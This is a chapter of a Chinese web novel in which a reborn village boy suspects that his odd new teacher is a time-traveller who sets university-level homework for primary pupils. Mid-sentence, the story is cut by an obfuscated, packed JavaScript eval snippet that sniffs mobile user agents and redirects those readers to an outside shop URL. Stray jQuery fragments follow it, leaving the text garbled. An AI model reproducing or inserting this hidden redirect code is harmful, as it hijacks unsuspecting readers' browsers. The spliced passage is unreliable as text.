第四十六章


    常安看看台上的那位新来的老师，一时间不由将眉毛蹙了起来。


    他就是感觉到了有些不对劲的地方，可在仔细观察之后，他可以确定，那位老师身上没有出现超凡力量的影子，就是正常人的样子。


    可正常人也不会在其他小孩和他说话的时候，会一卡一卡的，似乎是在思考怎么回答。


    常安也见过那些说话本身不顺溜的人。


    他们结巴，纯粹是因为嘴巴跟不上脑子，加上一些病症，或者语言习惯跟不上，所以才卡半天说不出一句完整的话。


    可不会像这位老师一般，明显是脑子跟不上嘴，才会卡。


    有系统之前说的话，后面他们这世界还可能会有其他世界的人穿越而来。


    所以常安感觉自己是不是有些惊弓之鸟，遇见什么都想去比对一下，预设那人会不会是穿越来的其他世界的人？


    “常安，你有没有感觉我们老师有点怪怪的。”


    一节音乐课结束，坐在常安旁边的一个小孩戳戳常安，和常安说了这么一句话。


    “你是怎么觉得这位老师奇怪的？”


    之前常安自己觉得奇怪，还在想是不是自己想太多，这世界上哪里会出现那么多来自其他世界的穿越者。


    再说，常安的系统也没给他发布任务啊。


    要是真涉及到其他世界的穿越者，系统应该有给常安发布任务，以此来达到提醒常安的目的才对。


    “还能是怎么觉得的，就老师说话什么的，怎么看都不像是正常人。”


    同学听完常安的问题，不由挠挠头，他自己也形容不出来，最后只能回给常安这么个答案。


    听了他的话之后，常安点点头，没继续在这问题上纠结。


    要真有问题的话，观察一段时间应该就知道了。


    反正现在常安别的东西不多，就时间多。


    小学的知识对他来说不要太简单。


    关于小学来了个大城市的老师的事通过在学校上学的同学们的嘴迅速在村里传开。


    一开始村里人还很是奇怪，怎么会有人好好的不在城里待着，非要往他们这乡下跑。


    想当年，那些上山下乡的知青们来了，哪个不是一门心思的要重新往城市跑回去的？


    这年景好了，城里人也奇怪了，还有人主动往乡下跑，来教乡下孩子一些不当吃不当喝，还对学习没用的东西。


    见天带着孩子们在那嚎着唱歌，大部分孩子连调调都不准，就开始在那唱，学校唱完还一路唱回家，当着父母的面唱。


    小孩的记忆力并不出众，来来回回就那几句，听的家里大人耳朵都快起茧子了。


    当然，听了那么长时间，就算没特意学过，那也能哼哼几句。


    就他们是跟在自家孩子身后学的二手歌，音调跑的更远。


    “听说你们学校的那个新来的城里老师脑子不好，在城里待不下去了，所以才来乡下的，真的么？”


    这几天村里谈论最多的就是关于那位老师的话题。


    常奶奶这个经常在地里忙，没那么多空闲时间和村里其他老太太聊天的人都听说了些关于那位老师的话题。


    她自己没在家里听常安提起过，听别人说了，难免会有好奇心，开口问，也正常。


    “嗯，脑子不好倒也算不上，就是反应有些慢，说话也慢。”


    听常奶奶问，常安皱着眉头想了想，最后还是不好随便评价，客观将自己知道的和常奶奶说了。


    “那人家就脑子正常的嘛，反应慢半拍就慢半拍呗。”


    听完常安的话之后，常奶奶就明白了。


    “嗐，村里那些老太太们也没个把门儿的，什么都说，连人家脑子好不好他们都评价上了，也不怕那老师不好好教。”


    常奶奶叽里咕噜的说着，想着等抽空和那几个老太太聊天的时候，还是要提醒几句。


    虽说那老师教的东西，他们现在看着没什么用，万一以后孩子们就能用上呢。


    一个技能，学到手总比什么都不会来得强。


    常奶奶想完，收拾完就催促着常安赶紧去休息，她自己则拿着她那针线篓往相熟的老太太家跑。


    之前还在脑子里想要抽空去找那些老太太说话，刚放下碗筷，人就已经闲不住，不想休息，跑出去了。


    常安看着老太太那活跃的样子，不免失笑，最后他自己也没选择直接休息，而是跟在了老太太身后，准备等老太太和人聊完天之后一起回家。


    也就是常安重生之后想办法挣了钱，还有老板以及哥哥他们几个帮衬他。


    让现在的常安不缺钱用，也让常奶奶不用像前世那般，只要一有点空闲，想的都是怎么挣钱，怎么给常安攒钱，还从她自己嘴里扣着，节省着，给常安攒底气。


    前世常奶奶会那么早离世，和她自己把自己压榨的狠，还对自己那么吝啬有很大的关系。


    “好在，这辈子不会了。”


    常安跟在常奶奶身后，慢吞吞走着，看看现在虽然还是舍不得让自己彻底闲下来，却有那么点闲心不睡觉，去找老姐妹聊天的常奶奶，常安眼里的笑意更深了些。


    他重生一遭，最大的心愿不就是这个嘛。


    常奶奶的加入，让村里没了那一面倒，说那位老师脑子不好的声音，可也不见得好到哪里去，另一个说法也就是说人家反应慢，真是乡下人，挺容易把自己饿死的。


    总归没舞到人家跟前去，村里知道，也当自己不知道。


    “同学们好，你们的，班主任，这两天有事，我，给，你们，代课。”


    嗯，常安耐心听着台上那位咔咔老师说话。


    人家本来不叫这个名字，之所以叫人家咔咔老师，还是其他小孩叫出来，常安自己也没记老师名字，就跟着这么叫了。


    那老师自己也不介意，这么叫他，他还一一应了，似乎非常高兴的样子。


    就是，这老师教的东西有点不正常。


    其他小孩只知道这老师教的东西他们有点听不懂，回家和家里人说，家里也只会让他们好好学习，人家城里人教的，肯定是城里孩子学的东西。


    城里孩子学的东西啊，能和他们乡下孩子一样么？一时半会儿学不会正常。


    在其他人都当那位老师教的正常的时候，常安看看被自己带回家的作业，一时间无言以对。


    “还要再观察一下。”


    常安嘟囔着：“怎么会有人拿大学的课程，教给小学生啊……”


    有点过于离谱了。


    而且将这些教给他们的还是他们明面上的音乐课，实践课老师。


    平常根本不会接触到他们的主要课程的老师，突然给他们上课，就给了常安这么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717597|181446||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个惊喜。


    “囝囝啊，你在看什么呢？不是说写完作业就去休息么？”


    看常安拿着个作业本在那看半天，一直在发呆，没有要动笔的意思，常奶奶开口提醒。


    “嗯嗯，好，奶奶我马上写，等会儿就写完了，奶奶你先忙自己的。”


    常安听见常奶奶的催促，抬头朝着常奶奶的方向应了一声，低头看看自己面前的作业本，离谱，但也要做啊。


    就是大学的知识点用起来有点不方便，常安需要斟酌一下。


    好好想想，怎么用那位老师在课堂上教他们的东西来解开这作业，从而达到将作业写完，写对，而他自己不会暴露会大学其他知识点的事。


    至于让常安直接不写作业这个选项，倒不是常安不想，而是在常安拿到手里这份作业，准备把这次作业给鸽掉的时候，他家那许久没冒头的系统冒了个头，给他弄了个任务。


    “叮，请宿主用在现阶段学会的知识点完成作业，傲视众小学生。”


    “……”常安无语。


    “我需要傲视那么多的小学生做什么。”无语过后，常安有些无奈开口。


    不过常安也知道，都能到系统直接给他发布任务的程度了，那老师应该是有点子说头在里面的。


    就是不知道，这年头的穿越者怎么会那么奇怪。


    不但看着不大聪明的样子，还喜欢往乡下钻。


    钻也就算了，怎么还这么热衷教育事业啊！


    教起来还不管不顾的。


    “呦，外面怎么那么热闹啊？”


    就在常安开始头脑风暴，开始想怎么去完成他的作业时，常奶奶听到了些外面的动静。


    一边念叨着，她探头往门外看。


    只听见了村里其他方向隐约有哭声传来。


    有孩子单独的哭声；有伴随着大人的打骂声，孩子的哭声；还有明显在村里边哭边窜的哭声……


    嗯，明显，这些孩子的哭声来自不同的方向，村里其他孩子在同一时间，被那位老师出的题给难住了。


    没志向的，觉得自己不会，直接就选择放过自己，躺平玩去了。


    有志向的，把自己难哭了，在那哭的嗷嗷的。


    没志向，但家长有志向的，就有了现在家长混合双打，孩子哭得哇哇乱窜的局面。


    “奶奶，你要出去玩么？今晚还是别出去了吧，他们乱窜，待会儿撞到你了。”


    常安听见常奶奶的声音之后，从作业里抬头，见常奶奶似乎想出去看，蹙眉提醒。


    “嗐，我这不是想知道那些孩子怎么突然哭那么惨么？这都快睡觉了，咋还在这时候打孩子啊。”


    常奶奶出门的脚步被常安叫住，停下看看常安，解释一句。


    但想出去的脚步也确实停下了，知道常安是担心她，没纠结要出去，转身回来坐在常安身边，看他一点点的写作业。


    也有些奇怪。


    她是知道自家孙儿写作业的速度的，大部分时间都在学校顺手就写完了回来的。


    作业多的时候，学校没写完，回家写也用不了多少时间。


    今天看看天色，自家囝囝明显用的时间更长，肉眼可见的，这份作业写起来要慢上许多。


    “嗯，我知道他们为什么哭。”


    常安看常奶奶实在好奇，准备抽空解答常奶奶的那些疑问。